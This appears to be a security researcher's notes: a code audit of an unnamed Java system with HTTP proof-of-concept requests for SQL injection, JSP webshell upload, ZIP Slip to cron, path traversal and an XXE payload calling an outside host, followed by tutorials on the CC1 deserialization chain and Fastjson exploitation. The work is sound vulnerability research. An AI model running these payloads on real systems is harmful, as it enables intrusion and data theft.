+ +aShiro版本漏洞能不能打 + +b有没有自定义filter覆盖默认逻辑 + +2白名单路由提取 + + +![image.png](https://imglink.cc/cdn/wdUBXkqiom.png) + + + +看了下,这套系统Shiro配置没用到anon,也没自定义filter,全是authc+roles默认filter,版本看jar包也不是低版本有漏洞的,所以Shiro绕过这条路走不通 + +那就得看哪些路由没配Shiro规则,或者只走了别的filter没走Shiro + + +![image.png](https://i.im.ge/QMV4Ah0/p2m-3d7b3c1f4b.png) + + + +整理下adminShiroFilter的路由覆盖情况: + + +| 前缀 | Shiro规则 | 保护情况 | +| --- | --- | --- | +| /controller/operator/** | authc, roles[systemViewer] | 有 | +| /controller/system/** | authc, roles[systemViewer] | 有 | +| /controller/tenant/** | authc, roles[tenantViewer] | 有 | +| /controller/user/** | authc | 有 | +| /operator/** | authc, roles[systemViewer] | 有 | +| /tenant/** | authc, roles[tenantViewer] | 有 | +| /user/** | authc | 有 | +| /controller/admin/** | 无规则 | 没配 | +| /controller/portal/** | 无规则 | 没配 | +| /controller/unprotected/** | 无规则 | 没配 | + + +然后selfHelpShiroFilter只有/user/selfHelp/和/controller/user/selfHelp/两条 + +所以`/controller/admin/**`和`/controller/portal/**`和`/controller/unprotected/**`都没走Shiro,其中`/controller/admin/getPasswordRequirement`这些接口就暴露了 + +另外`/controller/portal/*`走了portalContextFilter做上下文校验,不是完全匿名,但是`/controller/unprotected/portal/external/login`能创建外部用户,风险还是比较大 + + +# 漏洞审计 + + + +## SQL注入 + + +还是按照我的习惯,先判断是不是Mybatis,看了下依赖没有Mybatis,项目用的Hibernate,那么搜索where或者append找拼接 + + +![image.png](https://i.im.ge/QMV4CbT/p2m-3b72bbc410.png) + + + +大部分查了下都是预编译的,那么按照思路去找无法常规预编译的点,最终筛选到了一处疑似ORDER BY的拼接 + +HibernateUserMonthlyRecordRepository.java的orderByUtils方法 + + +![image.png](https://i.im.ge/QMV4g1a/p2m-73612f86a3.png) + + + +接收orderBy和order参数,然后拼接orderBy,查找方法调用 + + +![image.png](https://imglink.cc/cdn/inIauIBz0m.png) + + + +5 处调用,挑一处跟下 + +HibernateUserMonthlyRecordRepository的list方法 + + +![image.png](https://i.im.ge/QMV4YyG/p2m-8e81d3cc0d.png) + + + +跟调用到UserPortalStatisticService.java的getMonthlyUserRecords方法 + + +![image.png](https://i.im.ge/QMV43aL/p2m-5b25dc9e0e.png) + + + +最后跟到controller,aaaaController.java的getMonthlyUserRecord方法 + + +![image.png](https://i.im.ge/QMV4bHx/p2m-f2e6c948a1.png) + + + +参数可控,存在注入 + +poc: + +``` +GET /aaa/bbb/ccc/ddd/monthly?month=1719763200000&orderBy=updatexml(1,concat(1,user()),1)&startRow=0&maxResults=10 +Host: +X-Requested-With: XMLHttpRequest +Sec-Fetch-Mode: cors +Accept-Language: zh-CN,zh;q=0.9 +Accept: */* +Accept-Encoding: gzip, deflate, br, zstd +Sec-Fetch-Site: same-origin +Referer: http://127.0.0.1:8080/am/login/login.html +sec-ch-ua-mobile: ?0 +Sec-Fetch-Dest: empty +sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150" +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 +sec-ch-ua-platform: "Windows" +Cookie: DKEYJSESSIONID=07200A4888E2A14800655EDC22A0700F; languageValue=zh; DKEYJSESSIONID=49A4766DD0A2531186DDD404207BFA96 +``` + +![](https://i.im.ge/QMV4Khz/p2m-5961d6febd.png) + + + +后续分析其余几个调用都能跟踪到controller,且数据流通可注入 + + +## 文件上传 + + +这套系统的上传接口挺多的,十几个,分了两种情况 + +第一种:无任何后缀校验(大概10处,高危) + + +![image.png](https://i.im.ge/QMV4ZXS/p2m-74a265295b.png) + + + +这里跟一处演示下 + +SelfxxxxConfigsService.java的uploadFile + + +![image.png](https://imglink.cc/cdn/az_Kw-smht.png) + + + +保存的文件通过FilenameUtils.concat((String)parent, (String)name)方法凭据,都是方法调用传参,跟进调用 + + +![image.png](https://i.im.ge/QMV48mJ/p2m-90df7125cc.png) + + + + +![image.png](https://i.im.ge/QMV4RZy/p2m-b6b6386f38.png) + + + +跟到controller + + +![image.png](https://i.im.ge/QMV4Vb6/p2m-2a7b82ae3f.png) + + + +fileName是上传文件的原始文件名,过程中无后缀限制存在任意文件上传 + +``` +POST /am/aaa/bbb/ccc/file/upload HTTP/1.1 +Host: +X-Requested-With: XMLHttpRequest +Sec-Fetch-Mode: cors +Accept-Language: zh-CN,zh;q=0.9 +Accept: */* +Accept-Encoding: gzip, deflate, br, zstd +Sec-Fetch-Site: same-origin +sec-ch-ua-mobile: ?0 +Sec-Fetch-Dest: empty +sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150" +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 +sec-ch-ua-platform: "Windows" +Cookie: DKEYJSESSIONID=07200A4888E2A14800655EDC22A0700F; languageValue=zh; DKEYJSESSIONID=49A4766DD0A2531186DDD404207BFA96 +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary + +------WebKitFormBoundary +Content-Disposition: form-data; name="type" + +logoImg +------WebKitFormBoundary +Content-Disposition: form-data; name="file"; filename="shell.jsp" +Content-Type: application/octet-stream + +<% 123 +%> +------WebKitFormBoundary-- +``` + +![image.png](https://i.im.ge/QMV4zaK/p2m-e939826e66.png) + + + + + +第二种:限制了文件后缀(2处) + +TimexxxxController的upload/tokens只判断了.xml + + +``` +if (!originalFilename.endsWith(".xml") && !originalFilename.endsWith(".XML")) { + return ResponseData.error(...); +} +``` + +## ZIP解压RCE + + +这个其实可以算是文件上传的第三种类型,系统有几处ZIP解压操作,全都有ZIP Slip问题 + +MainxxxxUpdateService.unZip() — 最严重的,啥校验都没有 + + +``` +private static void unZip(File src, File des) throws IOException { + ZipFile zipFile = new ZipFile(src); + Enumeration files = zipFile.getEntries(); + while (files.hasMoreElements()) { + ZipArchiveEntry entry = (ZipArchiveEntry)files.nextElement(); + String zipName = entry.getName(); + File zipEntryFile = new File(des, zipName); // 用户可控,无校验 + FileOutputStream fos = new FileOutputStream(zipEntryFile); + IOUtils.copy(is, fos); + } +} +``` + +![image.png](https://i.im.ge/QMV4fGF/p2m-a938a03087.png) + + + +`entry.getName()`直接取出来new File,ZIP里写`../../etc/cron.d/evil`就能穿出去。可上传恶意ZIP直接RCE + +还有两处在PackagexxxxTemplateManager和PackaxxxxtalPageService + + +![image.png](https://imglink.cc/cdn/SKEpDsDqNe.png) + + + +虽然检查了ZIP里有没有.jsp,有就抛异常,但是这里可以目录穿越覆盖计划任务等高危文件 + +测试构造一个恶意的zip + + +![image.png](https://imglink.cc/cdn/GAE_2D68_S.png) + + + +上传测试 + +poc: + + +``` +POST /am/xxx/aaa/replaceWithZipBundle HTTP/1.1 +Host: +X-Requested-With: XMLHttpRequest +Sec-Fetch-Mode: cors +Accept-Language: zh-CN,zh;q=0.9 +Accept: */* +Accept-Encoding: gzip, deflate, br, zstd +Sec-Fetch-Site: same-origin +sec-ch-ua-mobile: ?0 +Sec-Fetch-Dest: empty +sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150" +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 +sec-ch-ua-platform: "Windows" +Cookie: DKEYJSESSIONID=07200A4888E2A14800655EDC22A0700F; languageValue=zh; DKEYJSESSIONID=49A4766DD0A2531186DDD404207BFA96 +Content-Type: multipart/form-data; boundary=----WebKitFormBoundary + +------WebKitFormBoundary +Content-Disposition: form-data; name="realmId" + +00000000-0000-0000-0000-000000000010 +------WebKitFormBoundary +Content-Disposition: form-data; name="type" + +1 +------WebKitFormBoundary +Content-Disposition: form-data; name="platform" + +1 +------WebKitFormBoundary +Content-Disposition: form-data; name="file"; filename="evil.zip" +Content-Type: application/zip + +{{file(evil_poc_final.zip)}} + ------WebKitFormBoundary-- +``` + +![image.png](https://i.im.ge/QMV4nwh/p2m-2bc2a2f4a1.png) + + + +访问 + + +![image.png](https://i.im.ge/QMV4J18/p2m-549a2686f7.png) + + + + +## 文件读取(路径遍历) + + +PackagexxxxxPageService.java的getFile方法会获取文件路径 + + + + +![image.png](https://i.im.ge/QMV4ppX/p2m-58bff3e006.png) + + + +定位方法调用 + + +![image.png](https://imglink.cc/cdn/Tv-lu9EPhM.png) + + + +其中PackagexxxxxPageService.java的getFileText方法使用了FileUtils.readFileToString读取文件内容,跟进方法调用 + + +![image.png](https://i.im.ge/QMV4HA9/p2m-4e820170e6.png) + + + +path完全可控,读取的内容输出到ResponseData + +poc: + + +``` +GET /am/aaa/vvv/ccc/file/text?realmId=00000000-0000-0000-0000-000000000010&type=1&platform=1&path=../../../../../../local/db.conf HTTP/1.1 +Host: +X-Requested-With: XMLHttpRequest +Sec-Fetch-Mode: cors +Accept-Language: zh-CN,zh;q=0.9 +Accept: */* +Accept-Encoding: gzip, deflate, br, zstd +Sec-Fetch-Site: same-origin +sec-ch-ua-mobile: ?0 +Sec-Fetch-Dest: empty +sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150" +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 +sec-ch-ua-platform: "Windows" +Cookie: DKEYJSESSIONID=07200A4888E2A14800655EDC22A0700F; languageValue=zh; DKEYJSESSIONID=49A4766DD0A2531186DDD404207BFA96 +``` + +![](https://i.im.ge/QMVBQGC/p2m-6dcafbe31b.png) + + + + +## XXE + + +审计关键词:DocumentBuilderFactory.newInstance() + + +![image.png](https://i.im.ge/QMV4GXY/p2m-1df76c32ac.png) + + + + +``` +private XMLObject getXMLObject(String xmlString) ... { + DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); + factory.setNamespaceAware(true); + // 没配XXE防护: + // disallow-doctype-decl = true + // external-general-entities = false + // external-parameter-entities = false + Document document = factory.newDocumentBuilder().parse(stream); +} +``` + +跟进调用 + + +![image.png](https://i.im.ge/QMV4eiD/p2m-105d7acbc0.png) + + + +而且这个接口`/aaaa/bbbbb/saml2/acs`是没鉴权的,不在Shiro规则里 + +关键的触发链路是XML解析在SAML签名验证前面,就算签名不对,XXE也已经触发了: + + +``` +POST /aaaa/bbbbb/saml2/acs +SAMLResponse=base64(xxe_payload) + → 解码 → getXMLObject() → DocumentBuilder.parse() → XXE触发 + → 然后才签名验证(已经晚了) +``` + +POC: + + +``` +POST /am/aaa/vvv/saml2/acs HTTP/1.1 +Host: +sec-ch-ua-mobile: ?0 +Accept-Encoding: gzip, deflate, br, zstd +Sec-Fetch-Dest: document +sec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150" +Sec-Fetch-Mode: navigate +sec-ch-ua-platform: "Windows" +Sec-Fetch-Site: none +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 +Accept-Language: zh-CN,zh;q=0.9 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36 +Upgrade-Insecure-Requests: 1 +Sec-Fetch-User: ?1 +Cookie: DKEYJSESSIONID=07200A4888E2A14800655EDC22A0700F; languageValue=zh; DKEYJSESSIONID=49A4766DD0A2531186DDD404207BFA96 +Content-Type: application/x-www-form-urlencoded + +SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KICA8IURPQ1RZUEUgZm9vIFsKICAgIDwhRU5USVRZIHh4ZSBTWVNURU0gImh0dHA6Ly93cmU5MGo3ai5yZXF1ZXN0cmVwby5jb20veHhlIj4KICBdPgogIDxzYW1scDpSZXNwb25zZSB4bWxuczpzYW1scD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIiBJRD0idGVzdCIgVmVyc2lvbj0iMi4wIgogIElzc3VlSW5zdGFudD0iMjAyNC0wMS0wMVQwMDowMDowMFoiPgogICAgPHNhbWw6SXNzdWVyIHhtbG5zOnNhbWw9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphc3NlcnRpb24iPiZ4eGU7PC9zYW1sOklzc3Vlcj4KICAgIDxzYW1scDpTdGF0dXM+CiAgICAgIDxzYW1scDpTdGF0dXNDb2RlIFZhbHVlPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6c3RhdHVzOlN1Y2Nlc3MiLz4KICAgIDwvc2FtbHA6U3RhdHVzPgogIDwvc2FtbHA6UmVzcG9uc2U+ +``` + +![image.png](https://i.im.ge/QMVBMb4/p2m-16ed15c3af.png) + + + + +![image.png](https://i.im.ge/QMV44KM/p2m-f40dc19b36.png) diff --git a/books/漏洞篇 - CC1 链之 ysoserial 版.md b/books/漏洞篇 - CC1 链之 ysoserial 版.md new file mode 100644 index 0000000..5f7da6b --- /dev/null +++ b/books/漏洞篇 - CC1 链之 ysoserial 版.md @@ -0,0 +1,440 @@ +# 漏洞篇 - CC1 链之 ysoserial 版 +> 2024-05-12 +> 来源:https://changeyourway.github.io/2024/05/12/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-CC1%E9%93%BEysoserial%E7%89%88/ + +在前面学习 CC1 链时,我们使用 TransformedMap 作为利用链,但其实除了 TransformedMap 之外,还有 DefaultedMap 和 LazyMap 也可以作为利用链,它们都在 org.apache.commons.collections.map 包下。这一节我们来分析 ysoserial 工具中利用的 CC1 链,它是将 LazyMap 作为利用链的。 + +## CC1 链之 ysoserial 版 + +### 环境 + +- JDK = 8u65 +- commons-collections = 3.2.1 + +在前面学习 CC1 链时,我们使用 TransformedMap 作为利用链,但其实除了 TransformedMap 之外,还有 DefaultedMap 和 LazyMap 也可以作为利用链,它们都在 org.apache.commons.collections.map 包下: + +![](https://changeyourway.github.io/images/image-20240512110643357.png) + +这一节我们来分析 ysoserial 工具中利用的 CC1 链,它是将 LazyMap 作为利用链的。 + +前面我们利用 TransformedMap 类的 checkSetValue 方法来调用 transform 方法: + +``` +protected Object checkSetValue(Object value) { + return this.valueTransformer.transform(value); +} +``` + +那么回到这一步,还有谁调用了 transform 方法呢?LazyMap 中其实有相关的调用。 + +### 利用链之 LazyMap 类 + +LazyMap 的 get 方法中调用了 factory 的 transform 方法: + +``` +public Object get(Object key) { + // create value for key if key is not currently in the map + if (map.containsKey(key) == false) { + Object value = factory.transform(key); + map.put(key, value); + return value; + } + return map.get(key); +} +``` + +factory 是 LazyMap 中定义的属性: + +``` +protected final Transformer factory; +``` + +它在构造方法中被赋值: + +``` +protected LazyMap(Map map, Transformer factory) { + super(map); + if (factory == null) { + throw new IllegalArgumentException("Factory must not be null"); + } + this.factory = factory; +} +``` + +所以我们让这里的 factory 变成 ChainedTransformer 对象就行。 + +然而 LazyMap 的构造方法被 protected 修饰,不能直接调用,所以我们需要找哪个方法调用了 LazyMap 的构造方法。 + +LazyMap 的 decorate 方法中调用了 LazyMap 的构造方法: + +``` +public static Map decorate(Map map, Transformer factory) { + return new LazyMap(map, factory); +} +``` + +所以我们可以通过这个方法来给 factory 赋值。 + +接下来就是找哪里调用了 LazyMap 的 get 方法了,AnnotationInvocationHandler 的 invoke 方法有相关的调用。 + +### AnnotationInvocationHandler 入口类 + +#### AnnotationInvocationHandler 的 invoke 方法: + +``` +public Object invoke(Object proxy, Method method, Object[] args) { + String member = method.getName(); + Class[] paramTypes = method.getParameterTypes(); + + // Handle Object and Annotation methods + if (member.equals("equals") && paramTypes.length == 1 && + paramTypes[0] == Object.class) + return equalsImpl(args[0]); + if (paramTypes.length != 0) + throw new AssertionError("Too many parameters for an annotation method"); + + switch(member) { + case "toString": + return toStringImpl(); + case "hashCode": + return hashCodeImpl(); + case "annotationType": + return type; + } + + // Handle annotation member accessors + Object result = memberValues.get(member); + + if (result == null) + throw new IncompleteAnnotationException(type, member); + + if (result instanceof ExceptionProxy) + throw ((ExceptionProxy) result).generateException(); + + if (result.getClass().isArray() && Array.getLength(result) != 0) + result = cloneArray(result); + + return result; +} +``` + +它调用了 memberValues 的 get 方法: + +``` +// Handle annotation member accessors +Object result = memberValues.get(member); +``` + +memberValues 是 AnnotationInvocationHandler 类的属性: + +``` +private final Map memberValues; +``` + +它在构造方法中被赋值: + +``` +AnnotationInvocationHandler(Class type, Map memberValues) { + Class[] superInterfaces = type.getInterfaces(); + if (!type.isAnnotation() || + superInterfaces.length != 1 || + superInterfaces[0] != java.lang.annotation.Annotation.class) + throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); + this.type = type; + this.memberValues = memberValues; +} +``` + +这里可以依照前面的办法:利用反射调用 AnnotationInvocationHandler 的构造方法,将 memberValues 赋值成 LazyMap 对象。 + +那么又要如何调用 AnnotationInvocationHandler 的 invoke 方法呢? + +AnnotationInvocationHandler 其实是一个代理类,它继承了 InvocationHandler 类,并重写了 invoke 方法。而我们知道,在调用代理对象的方法时,InvocationHandler 类的 invoke 方法将会被触发。(这方面与 Java 动态代理有关,可以去看我先前的文章) + +假使我用 AnnotationInvocationHandler 来构建一个代理对象,那么只要这个代理对象的任意方法被调用,就会调用 AnnotationInvocationHandler 的 invoke 方法了。 + +那么为了能够反序列化利用,我们还是要回到 readObject 方法。 + +#### AnnotationInvocationHandler 的 readObject 方法: + +``` +private void readObject(java.io.ObjectInputStream s) + throws java.io.IOException, ClassNotFoundException { + s.defaultReadObject(); + + // Check to make sure that types have not evolved incompatibly + + AnnotationType annotationType = null; + try { + annotationType = AnnotationType.getInstance(type); + } catch(IllegalArgumentException e) { + // Class is no longer an annotation type; time to punch out + throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); + } + + Map> memberTypes = annotationType.memberTypes(); + + // If there are annotation members without values, that + // situation is handled by the invoke method. + for (Map.Entry memberValue : memberValues.entrySet()) { + String name = memberValue.getKey(); + Class memberType = memberTypes.get(name); + if (memberType != null) { // i.e. member still exists + Object value = memberValue.getValue(); + if (!(memberType.isInstance(value) || + value instanceof ExceptionProxy)) { + memberValue.setValue( + new AnnotationTypeMismatchExceptionProxy( + value.getClass() + "[" + value + "]").setMember( + annotationType.members().get(name))); + } + } + } +} +``` + +沿用前辈们的思路,我们将触发点选为 memberValues.entrySet() ,只需要将 memberValues 设置成用 AnnotationInvocationHandler 构建的代理对象,那么在调用这个代理对象的任意方法时,都会调用 AnnotationInvocationHandler 的 invoke 方法。 + +这听起来似乎很矛盾,前面说 memberValues 要赋值成 LazyMap 对象,怎么这里又说 memberValues 要设置成用 AnnotationInvocationHandler 构建的代理对象呢?后面会给出解答。 + +### 构造 payload + +``` +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; +import org.apache.commons.collections.map.TransformedMap; + +import java.io.*; +import java.lang.annotation.Retention; +import java.lang.annotation.Target; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.Map; + +public class FinalPayload { + public static void main(String[] args) throws Exception { + // 获取包含执行类的 ChainedTransformer 对象 + Transformer[] transformers = new Transformer[]{ + // 将传入参数固定为 Runtime.class + new ConstantTransformer(Runtime.class), + new InvokerTransformer + ("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), + new InvokerTransformer + ("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), + new InvokerTransformer + ("exec", new Class[]{String.class}, new Object[]{"calc"}) + }; + ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); + + // 新建一个 Map 对象,无关紧要,只是作为参数传入 + Map hashMap = new HashMap<>(); + + // 初始化利用链 LazyMap + Map lazymap = LazyMap.decorate(hashMap, chainedTransformer); + + // 利用反射修改入口类 AnnotationInvocationHandler 的 memberValues 属性 + + // 获取 AnnotationInvocationHandler 的构造器对象 + Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); + Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class); + constructor.setAccessible(true); + + // 因为不经过判断,第一个参数只要是注解类就行,第二个参数传入 Lazymap 对象作为 memberValues 的值 + Object annotationInvocationHandler1 = constructor.newInstance(Override.class, lazymap); + + // 现在我已经通过构造方法获取了一个 AnnotationInvocationHandler 对象 + // 接下来将这个对象强转成 InvocationHandler 类型,然后用它来获取代理对象 + InvocationHandler invocationHandler = (InvocationHandler) annotationInvocationHandler1; + + // 为了之后能将代理对象作为参数传入 AnnotationInvocationHandler 的构造方法 + // 这里选择创建一个 Map 类型的代理对象 + Map mapProxy = (Map) Proxy.newProxyInstance( + // 第一个参数是构造器 + Map.class.getClassLoader(), + // 第二个参数指明代理对象继承的接口 + new Class[]{Map.class}, + // 第三个参数需要一个重写了 invoke 方法的 InvocationHandler 对象 + // 这个对象的 invoke 方法将会在代理对象的任意方法被调用时调用 + invocationHandler + ); + + // 传入 mapProxy 代理对象作为 memberValues 的值 + Object annotationInvocationHandler2 = constructor.newInstance(Override.class, mapProxy); + + // serialize(annotationInvocationHandler2); + unserialize("ser.bin"); + } + + public static void serialize(Object obj) throws Exception { + ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); + oos.writeObject(obj); + } + + public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { + ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); + Object obj = ois.readObject(); + return obj; + } +} +``` + +看完 payload 想必就能理解了,我们将代理对象作为 AnnotationInvocationHandler 对象 annotationInvocationHandler2 的 memberValues 属性值,在反序列化时,调用 annotationInvocationHandler2 的 readObject 方法,进而调用 memberValues 的 entrySet() 方法(即代理对象的 entrySet() 方法),此时将会调用代理对象对应的 invoke 方法,这个 invoke 方法正是 annotationInvocationHandler1 的 invoke 方法,annotationInvocationHandler1 的 invoke 方法会调用 memberValues 的 get 方法,而 annotationInvocationHandler1 的 memberValues 属性已经被赋值成 LazyMap 对象了,于是这里调用的是 LazyMap 对象的 get 方法。 + +我再画个流程图来帮助理解: + +``` +annotationInvocationHandler2 :: readObject() -> + +annotationInvocationHandler2.memberValues :: entrySet()(annotationInvocationHandler2.memberValues = mapProxy)-> + +annotationInvocationHandler1 :: invoke()(annotationInvocationHandler1.memberValues = lazymap)-> + +lazymap :: get() -> + +...... +``` + +想必应该能理解了。 + +### 调试 + +调试既是为了验证理论的正确性,又是为了加深理解,还可以发现未知的细节。 + +先执行序列化方法,生成文件之后,对反序列化方法做调试。 + +主程序 readObject 处下断点: + +![](https://changeyourway.github.io/images/image-20240512161824902.png) + +AnnotationInvocationHandler.java 的 readObject 方法中的 memberValues.entrySet() 处下断点: + +![](https://changeyourway.github.io/images/image-20240512160558799.png) + +AnnotationInvocationHandler.java 的 invoke 方法中的 memberValues.get 处下断点: + +![](https://changeyourway.github.io/images/image-20240512160653773.png) + +开始调试: + +![](https://changeyourway.github.io/images/image-20240512162118714.png) + +单步进入:进入了 AbstractMapDecorator 类,过程省略。 + +接着单步进入,此时来到了 LazyMap 的 readObject 方法: + +![](https://changeyourway.github.io/images/image-20240512162257878.png) + +执行完 LazyMap 的 readObject 方法以后就来到了 AnnotationInvocationHandler 的 invoke 方法: + +![](https://changeyourway.github.io/images/image-20240512162547906.png) + +调用堆栈也出现了很多调用,细看之下,又跟我们的利用链毫无关系。至于这里为什么会提前调用 invoke 方法,容后再议。 + +继续调试,经过断点 memberValues.entrySet() : + +![](https://changeyourway.github.io/images/image-20240512163445617.png) + +继续调试,不断单步进入又跳出,执行完之后会发现弹出了计算器,而且是三个: + +![](https://changeyourway.github.io/images/image-20240512170907564.png) + +调试发现中间调用了一大堆乱七八糟的类,实在没有耐心看了,就引用 yhy 师傅的一个比较有说服力的结论吧: + +IDEA 在 debug 时,当 debug 到某个对象的时候,会调用对象的 toString() 方法,用来在 debug 界面显示对象信息。弹出多个计算器,多半是由于代理对象的 toString() 方法被私自调用了,触发了 invoke 方法,造成非预期的命令执行。 + +我们可以在 IDEA 中关闭 Debug 自动调用 toString() 方法: + +![](https://changeyourway.github.io/images/image-20240512165453774.png) + +至于为什么关闭这个设置后调试仍然弹出了三个计算器,我就不得而知了。 + +那么,接下来才是重头戏。我们重新设置断点,重新调试。 + +### 反序列化是由内向外的 + +在 AnnotationInvocationHandler 类的 readObject 方法中新增一处断点,这一断点是在上一次调试中发现的转折点: + +![](https://changeyourway.github.io/images/image-20240512170719041.png) + +其余断点不变,开始调试: + +![](https://changeyourway.github.io/images/image-20240512171015189.png) + +单步进入几次: + +![](https://changeyourway.github.io/images/image-20240512171047443.png) + +现在调用的是 LazyMap 的 readObject ,说明 LazyMap 相比其他对象是最先被反序列化的。 + +继续单步进入: + +![](https://changeyourway.github.io/images/image-20240512171344943.png) + +跳出 LazyMap 的 readObject 方法之后,我们就来到了 AnnotationInvocationHandler 的 readObject 方法,观察 this.memberValues 值,发现它是一个 LazyMap 对象,这说明什么?说明此时反序列化的这个 AnnotationInvocationHandler 对象是 mapProxy 代理对象在创建时作为参数传入的 AnnotationInvocationHandler 对象,而不是最外部的 AnnotationInvocationHandler 对象。 + +即此时反序列化的是 annotationInvocationHandler1 对象。 + +接下来单步进入会进入 AnnotationType 类的 getInstance 方法,这个方法又会调用 AnnotationType 的构造方法,在构造方法中我们发现行进到这一步时: + +![](https://changeyourway.github.io/images/image-20240512174213941.png) + +这里的 ret 已然是一个代理对象,调用 ret.value() 将会进入某个代理类的 invoke 方法。 + +再下一步就来到了 AnnotationInvocationHandler 对象的 invoke 方法: + +![](https://changeyourway.github.io/images/image-20240512172104085.png) + +这就是我们之前遇到的 invoke 方法被提前调用的问题。观察下面的 memberValues 属性值可以发现,此时执行 invoke 方法的 AnnotationInvocationHandler 对象并不是 annotationInvocationHandler1 ,因此这一步调用 invoke 并不会造成命令执行,事实也正是如此。 + +想必这里调用 AnnotationInvocationHandler 的 invoke 方法是 AnnotationType 类的内部逻辑,至于 ret 是如何成为由 AnnotationInvocationHandler 构建的代理对象的,我就不深究了。 + +继续调试,执行完这一步后,我们回到 annotationInvocationHandler1 的 readObject 方法: + +![](https://changeyourway.github.io/images/image-20240512174853686.png) + +直接跳到下个断点吧: + +![](https://changeyourway.github.io/images/image-20240512174958974.png) + +继续调试,当执行完这一步时,我们又来到了 AnnotationInvocationHandler 类的这个断点处: + +![](https://changeyourway.github.io/images/image-20240512175126308.png) + +并且弹出了三个计算器,说明命令执行在上一步已经完成了,至于这个 AnnotationInvocationHandler 对象,看看它的 memberValues 属性值会发现是一个代理对象,也就是说我们现在正在执行外部的 AnnotationInvocationHandler 对象也即 annotationInvocationHandler2 的 readObject 方法,这一步的 readObject 方法并不会造成命令执行,事实也正是如此,后面的就不用看了,至此,调试完毕。 + +通过调试,我们可以发现:**反序列化是由内向外的**。而我们之前所预测的调用链被推翻,接下来我会记录下真正的调用链。 + +### 重新书写调用链 + +``` +反序列化 -> + +lazyMap :: readObject() -> + +annotationInvocationHandler1 :: readObject() -> + + AnnotationType :: getInstance() -> + + AnnotationType :: AnnotationType() -> + + AnnotationInvocationHandler :: invoke() (提前调用 invoke ,但不会命令执行)-> + +annotationInvocationHandler1.memberValues :: entrySet() -> + +annotationInvocationHandler1 :: invoke() -> + +annotationInvocationHandler1.memberValues :: get() (即 lazyMap :: get(),造成命令执行)-> + +annotationInvocationHandler2 :: readObject() -> + +结束 +``` + +### 结语 + +真理的相对性也是真理之一,实践是检验真理的唯一标准。 diff --git a/books/漏洞篇 - Fastjson 1.2.68 - 1.2.80 利用.md b/books/漏洞篇 - Fastjson 1.2.68 - 1.2.80 利用.md new file mode 100644 index 0000000..99f44f1 --- /dev/null +++ b/books/漏洞篇 - Fastjson 1.2.68 - 1.2.80 利用.md @@ -0,0 +1,1442 @@ +# 漏洞篇 - Fastjson 1.2.68 - 1.2.80 利用 +> 2025-08-23 +> 来源:https://changeyourway.github.io/2025/08/23/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%201.2.68-1.2.80%20%E5%88%A9%E7%94%A8/ + +## 前言 + +经过先前的分析:[漏洞篇 - Fastjson 反序列化](https://changeyourway.github.io/2024/09/18/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/),我们已经知道需要找 Throwable 的子类来进行绕过,浅蓝师傅提供了三个方面的思路来进行利用链挖掘: + +![](https://changeyourway.github.io/images/image-20250529100918-ybtp3d0.png) + +之前我们分析的是一个普通的 Java 类,所以调用 JavaBeanDeserializer 来反序列化。在 1.2.68 以后,我们从 Throwable 的子类入手,会调用 ThrowableDeserializer 进行反序列化。而 ThrowableDeserializer 在反序列化一个 Throwable 对象的时候会将 public 属性、setter 方法参数、构造方法参数(或者简而言之,类的属性)加入到缓存当中,从而绕过 checkAutoType 的校验。**这一部分的原理,在 Fastjson 1.2.80 的源码分析中给出解释。** + +不过,在正式开始之前,我需要先纠正先前的一个粗浅的认知。 + +我们认为 Fastjson 1.2.68 的利用可以通过寻找 Throwable 的子类进行利用,是因为我们认为 checkAutoType 方法只有当传入的类为传入的 expectClass 的子类时才会通过检查并实例化类,并且通过查找,发现调用 checkAutoType 